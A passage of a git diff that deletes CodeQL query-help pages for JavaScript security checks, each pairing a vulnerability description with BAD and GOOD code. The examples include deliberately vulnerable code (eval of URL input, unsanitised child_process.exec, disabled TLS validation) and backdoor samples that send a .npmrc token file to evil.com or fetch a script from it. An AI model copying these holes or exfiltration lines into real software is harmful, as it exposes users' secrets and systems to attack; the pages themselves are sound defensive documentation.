\ No newline at end of file diff --git a/docs/language/query-help/javascript/CodeInjection.md b/docs/language/query-help/javascript/CodeInjection.md deleted file mode 100644 index 3d53cee6e66..00000000000 --- a/docs/language/query-help/javascript/CodeInjection.md +++ /dev/null @@ -1,34 +0,0 @@ -# Code injection - -``` -ID: js/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/CodeInjection.ql) - -Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors. - - -## Recommendation -Avoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. - - -## Example -The following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information. - - -```javascript -eval(document.location.href.substring(document.location.href.indexOf("default=")+8)) - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CommandInjection.md b/docs/language/query-help/javascript/CommandInjection.md deleted file mode 100644 index ee600f0cdee..00000000000 --- a/docs/language/query-help/javascript/CommandInjection.md +++ /dev/null @@ -1,42 +0,0 @@ -# Uncontrolled command line - -``` -ID: js/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `require('child_process').exec`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `child_process.exec` without examining it first. - - -```javascript -var cp = require("child_process"), - http = require('http'), - url = require('url'); - -var server = http.createServer(function(req, res) { - let cmd = url.parse(req.url, true).query.path; - - cp.exec(cmd); // BAD -}); - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ConditionalBypass.md b/docs/language/query-help/javascript/ConditionalBypass.md deleted file mode 100644 index d9812c6f614..00000000000 --- a/docs/language/query-help/javascript/ConditionalBypass.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled bypass of security check - -``` -ID: js/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql) - -Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. - - -## Recommendation -When checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. - -Similarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. - - -## Example -In this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in. - - -```javascript -var express = require('express'); -var app = express(); -// ... -app.get('/full-profile/:userId', function(req, res) { - - if (req.cookies.loggedInUserId !== req.params.userId) { - // BAD: login decision made based on user controlled data - requireLogin(); - } else { - // ... show private information - } - -}); - -``` -This security check is, however, insufficient since an attacker can craft his cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values: - - -```javascript -var express = require('express'); -var app = express(); -// ... -app.get('/full-profile/:userId', function(req, res) { - - if (req.signedCookies.loggedInUserId !== req.params.userId) { - // GOOD: login decision made based on server controlled data - requireLogin(); - } else { - // ... show private information - } - -}); - -``` - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md deleted file mode 100644 index 11c44308a1b..00000000000 --- a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md +++ /dev/null @@ -1,78 +0,0 @@ -# CORS misconfiguration for credentials transfer - -``` -ID: js/cors-misconfiguration-for-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-346 external/cwe/cwe-639 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-346/CorsMisconfigurationForCredentials.ql) - -A server can send the `"Access-Control-Allow-Credentials"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests. - -When the `Access-Control-Allow-Credentials` header is `"true"`, the `Access-Control-Allow-Origin` header must have a value different from `"*"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `"Access-Control-Allow-Origin"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to. - - -## Recommendation -When the `Access-Control-Allow-Credentials` header value is `"true"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input. - -Since the `"null"` origin is easy to obtain for an attacker, it is never safe to use `"null"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `"true"`. - - -## Example -In the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request. - - -```javascript -var https = require('https'), - url = require('url'); - -var server = https.createServer(function(){}); - -server.on('request', function(req, res) { - let origin = url.parse(req.url, true).query.origin; - // BAD: attacker can choose the value of origin - res.setHeader("Access-Control-Allow-Origin", origin); - res.setHeader("Access-Control-Allow-Credentials", true); - - // ... -}); - -``` -This is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue: - - -```javascript -var https = require('https'), - url = require('url'); - -var server = https.createServer(function(){}); - -server.on('request', function(req, res) { - let origin = url.parse(req.url, true).query.origin, - whitelist = { - "https://example.com": true, - "https://subdomain.example.com": true, - "https://example.com:1337": true - }; - - if (origin in whitelist) { - // GOOD: the origin is in the whitelist - res.setHeader("Access-Control-Allow-Origin", origin); - res.setHeader("Access-Control-Allow-Credentials", true); - } - - // ... -}); - -``` - -## References -* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin). -* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials). -* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html) -* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources) -* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html). -* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingCertificateValidation.md b/docs/language/query-help/javascript/DisablingCertificateValidation.md deleted file mode 100644 index ba0c7303288..00000000000 --- a/docs/language/query-help/javascript/DisablingCertificateValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Disabling certificate validation - -``` -ID: js/disabling-certificate-validation -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-295/DisablingCertificateValidation.ql) - -Certificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur - -When testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used. - - -## Recommendation -Do not disable certificate validation for TLS connections. - - -## Example -The following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information. - - -```javascript -let https = require("https"); - -https.request( - { - hostname: "secure.my-online-bank.com", - port: 443, - method: "POST", - path: "send-confidential-information", - rejectUnauthorized: false // BAD - }, - response => { - // ... communicate with secure.my-online-bank.com - } -); - -``` -To make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`. - - -## References -* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) -* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) -* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingSce.md b/docs/language/query-help/javascript/DisablingSce.md deleted file mode 100644 index d85446cd142..00000000000 --- a/docs/language/query-help/javascript/DisablingSce.md +++ /dev/null @@ -1,55 +0,0 @@ -# Disabling SCE - -``` -ID: js/angular/disabling-sce -Kind: problem -Severity: warning -Precision: very-high -Tags: security maintainability frameworks/angularjs - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/DisablingSce.ql) - -AngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism. - -Disabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting. - - -## Recommendation -Do not disable SCE. - - -## Example -The following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`. - - -```javascript -angular.module('app', []) - .config(function($sceProvider) { - $sceProvider.enabled(false); // BAD - }).controller('controller', function($scope) { - // ... - $scope.html = '
  • ' + item.toString() + '
'; - }); - -``` -This is problematic, since it disables SCE for the entire AngularJS application. - -Instead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`: - - -```javascript -angular.module('app', []) - .controller('controller', function($scope, $sce) { - // ... - // GOOD (but should use the templating system instead) - $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
'); - }); - -``` -Please note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible. - - -## References -* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce) -* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingWebSecurity.md b/docs/language/query-help/javascript/DisablingWebSecurity.md deleted file mode 100644 index 766699394e5..00000000000 --- a/docs/language/query-help/javascript/DisablingWebSecurity.md +++ /dev/null @@ -1,37 +0,0 @@ -# Disabling Electron webSecurity - -``` -ID: js/disabling-electron-websecurity -Kind: problem -Severity: error -Precision: very-high -Tags: security frameworks/electron - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/DisablingWebSecurity.ql) - -Electron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy. - -Disabling the same-origin policy is strongly discouraged. - - -## Recommendation -Do not disable `webSecurity`. - - -## Example -The following example shows `webSecurity` being disabled. - - -```javascript -const mainWindow = new BrowserWindow({ - webPreferences: { - webSecurity: false - } -}) -``` -This is problematic, since it allows the execution of insecure code from other domains. - - -## References -* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DoubleEscaping.md b/docs/language/query-help/javascript/DoubleEscaping.md deleted file mode 100644 index 38d0d77adf6..00000000000 --- a/docs/language/query-help/javascript/DoubleEscaping.md +++ /dev/null @@ -1,73 +0,0 @@ -# Double escaping or unescaping - -``` -ID: js/double-escaping -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/DoubleEscaping.ql) - -Escaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `<` and the double-quote character as `"`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components. - -The reverse process of replacing escape sequences with the characters they represent is known as unescaping. - -Note that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last. - -If used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions. - -Otherwise, make sure to always escape the escape character first, and unescape it last. - - -## Example -The following example shows a pair of hand-written HTML encoding and decoding functions: - - -```javascript -module.exports.encode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, """) - .replace(/'/g, "'"); -}; - -module.exports.decode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, "\"") - .replace(/'/g, "'"); -}; - -``` -The encoding function correctly handles ampersand before the other characters. For example, the string `me & "you"` is encoded as `me & "you"`, and the string `"` is encoded as `&quot;`. - -The decoding function, however, incorrectly decodes `&` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&quot;`) to `"` (a single double quote), which is not correct. - -Instead, the decoding function should decode the ampersand last: - - -```javascript -module.exports.encode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, """) - .replace(/'/g, "'"); -}; - -module.exports.decode = function(s) { - return s.replace(/"/g, "\"") - .replace(/'/g, "'") - .replace(/&/g, "&"); -}; - -``` - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [html-entities](https://www.npmjs.com/package/html-entities) package. -* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ExceptionXss.md b/docs/language/query-help/javascript/ExceptionXss.md deleted file mode 100644 index ecfe1537078..00000000000 --- a/docs/language/query-help/javascript/ExceptionXss.md +++ /dev/null @@ -1,45 +0,0 @@ -# Exception text reinterpreted as HTML - -``` -ID: js/xss-through-exception -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ExceptionXss.ql) - -Directly writing exceptions to a webpage without sanitization allows for a cross-site scripting vulnerability if the value of the exception can be influenced by a user. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting. - - -```javascript -function setLanguageOptions() { - var href = document.location.href, - deflt = href.substring(href.indexOf("default=")+8); - - try { - var parsed = unknownParseFunction(deflt); - } catch(e) { - document.write("Had an error: " + e + "."); - } -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/FileAccessToHttp.md b/docs/language/query-help/javascript/FileAccessToHttp.md deleted file mode 100644 index 7227bb00c53..00000000000 --- a/docs/language/query-help/javascript/FileAccessToHttp.md +++ /dev/null @@ -1,42 +0,0 @@ -# File data in outbound network request - -``` -ID: js/file-access-to-http -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-200 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql) - -Sending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. - - -## Recommendation -Examine the highlighted code closely to ensure that it is behaving as intended. - - -## Example -The following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header. - - -```javascript -var fs = require("fs"), - https = require("https"); - -var content = fs.readFileSync(".npmrc", "utf8"); -https.get({ - hostname: "evil.com", - path: "/upload", - method: "GET", - headers: { Referer: content } -}, () => { }); - -``` - -## References -* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes). -* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure). -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedCredentials.md b/docs/language/query-help/javascript/HardcodedCredentials.md deleted file mode 100644 index bf416991c16..00000000000 --- a/docs/language/query-help/javascript/HardcodedCredentials.md +++ /dev/null @@ -1,44 +0,0 @@ -# Hard-coded credentials - -``` -ID: js/hardcoded-credentials -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a Postgres database using the `pg` package and hard-codes user name and password: - - -```javascript -const pg = require("pg"); - -const client = new pg.Client({ - user: "bob", - host: "database.server.com", - database: "mydb", - password: "correct-horse-battery-staple", - port: 3211 -}); -client.connect(); - -``` -Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md deleted file mode 100644 index aebe25d0e2d..00000000000 --- a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md +++ /dev/null @@ -1,41 +0,0 @@ -# Hard-coded data interpreted as code - -``` -ID: js/hardcoded-data-interpreted-as-code -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-506 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql) - -Interpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools. - - -## Recommendation -Examine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety. - - -## Example -As an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package: - - -```javascript -var r = require; - -function e(r) { - return Buffer.from(r, "hex").toString() -} - -// BAD: hexadecimal constant decoded and interpreted as import path -var n = r(e("2e2f746573742f64617461")); - -``` -While this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported. - - -## References -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident). -* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md deleted file mode 100644 index bb6f7633ccb..00000000000 --- a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md +++ /dev/null @@ -1,77 +0,0 @@ -# Host header poisoning in email generation - -``` -ID: js/host-header-forgery-in-email-generation -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-640 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql) - -Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site. - -If the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. - - -## Recommendation -Obtain the server's host name from a configuration file and avoid relying on the Host header. - - -## Example -The following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker: - - -```javascript -let nodemailer = require('nodemailer'); -let express = require('express'); -let backend = require('./backend'); - -let app = express(); - -let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); - -app.post('/resetpass', (req, res) => { - let email = req.query.email; - let transport = nodemailer.createTransport(config.smtp); - let token = backend.getUserSecretResetToken(email); - transport.sendMail({ - from: 'webmaster@example.com', - to: email, - subject: 'Forgot password', - text: `Click to reset password: https://${req.host}/resettoken/${token}`, - }); -}); - -``` -To ensure the link refers to the correct web site, get the host name from a configuration file: - - -```javascript -let nodemailer = require('nodemailer'); -let express = require('express'); -let backend = require('./backend'); - -let app = express(); - -let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); - -app.post('/resetpass', (req, res) => { - let email = req.query.email; - let transport = nodemailer.createTransport(config.smtp); - let token = backend.getUserSecretResetToken(email); - transport.sendMail({ - from: 'webmaster@example.com', - to: email, - subject: 'Forgot password', - text: `Click to reset password: https://${config.hostname}/resettoken/${token}`, - }); -}); - -``` - -## References -* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html). -* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/). -* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HttpToFileAccess.md b/docs/language/query-help/javascript/HttpToFileAccess.md deleted file mode 100644 index dae88649064..00000000000 --- a/docs/language/query-help/javascript/HttpToFileAccess.md +++ /dev/null @@ -1,42 +0,0 @@ -# Network data written to file - -``` -ID: js/http-to-file-access -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-912 external/cwe/cwe-434 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql) - -Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. - - -## Recommendation -Examine the highlighted code closely to ensure that it is behaving as intended. - - -## Example -The following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`. - - -```javascript -var https = require("https"); -var fs = require("fs"); - -https.get('https://evil.com/script', res => { - res.on("data", d => { - fs.writeFileSync("/tmp/script", d) - }) -}); - -``` -Other parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source. - - -## References -* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). -* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload). -* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html). -* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IdentityReplacement.md b/docs/language/query-help/javascript/IdentityReplacement.md deleted file mode 100644 index b8d8ccbcd00..00000000000 --- a/docs/language/query-help/javascript/IdentityReplacement.md +++ /dev/null @@ -1,38 +0,0 @@ -# Replacement of a substring with itself - -``` -ID: js/identity-replacement -Kind: problem -Severity: warning -Precision: very-high -Tags: correctness security external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/RegExp/IdentityReplacement.ql) - -Replacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape. - - -## Recommendation -Examine the string replacement to find and correct any typos. - - -## Example -The following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `"` with `\"`: - - -```javascript -var escaped = raw.replace(/"/g, '\"'); - -``` -However, the replacement string `'\"'` is actually the same as `'"'`, with `\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\"'`: - - -```javascript -var escaped = raw.replace(/"/g, '\\"'); - -``` - -## References -* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ImproperCodeSanitization.md b/docs/language/query-help/javascript/ImproperCodeSanitization.md deleted file mode 100644 index c29ef6c0aa9..00000000000 --- a/docs/language/query-help/javascript/ImproperCodeSanitization.md +++ /dev/null @@ -1,63 +0,0 @@ -# Improper code sanitization - -``` -ID: js/bad-code-sanitization -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/ImproperCodeSanitization.ql) - -Using string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker. - - -## Recommendation -If using `JSON.stringify` or a HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters. - - -## Example -The example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains ``, then the generated code will break out of a `` if inserted into a `` tag. - - -```javascript -function createObjectWrite() { - const assignment = `obj[${JSON.stringify(key)}]=42`; - return `(function(){${assignment}})` // NOT OK -} -``` -The issue has been fixed by escaping potentially dangerous characters, as shown below. - - -```javascript -const charMap = { - '<': '\\u003C', - '>' : '\\u003E', - '/': '\\u002F', - '\\': '\\\\', - '\b': '\\b', - '\f': '\\f', - '\n': '\\n', - '\r': '\\r', - '\t': '\\t', - '\0': '\\0', - '\u2028': '\\u2028', - '\u2029': '\\u2029' -}; - -function escapeUnsafeChars(str) { - return str.replace(/[<>\b\f\n\r\t\0\u2028\u2029]/g, x => charMap[x]) -} - -function createObjectWrite() { - const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`; - return `(function(){${assignment}})` // OK -} -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Common Weakness 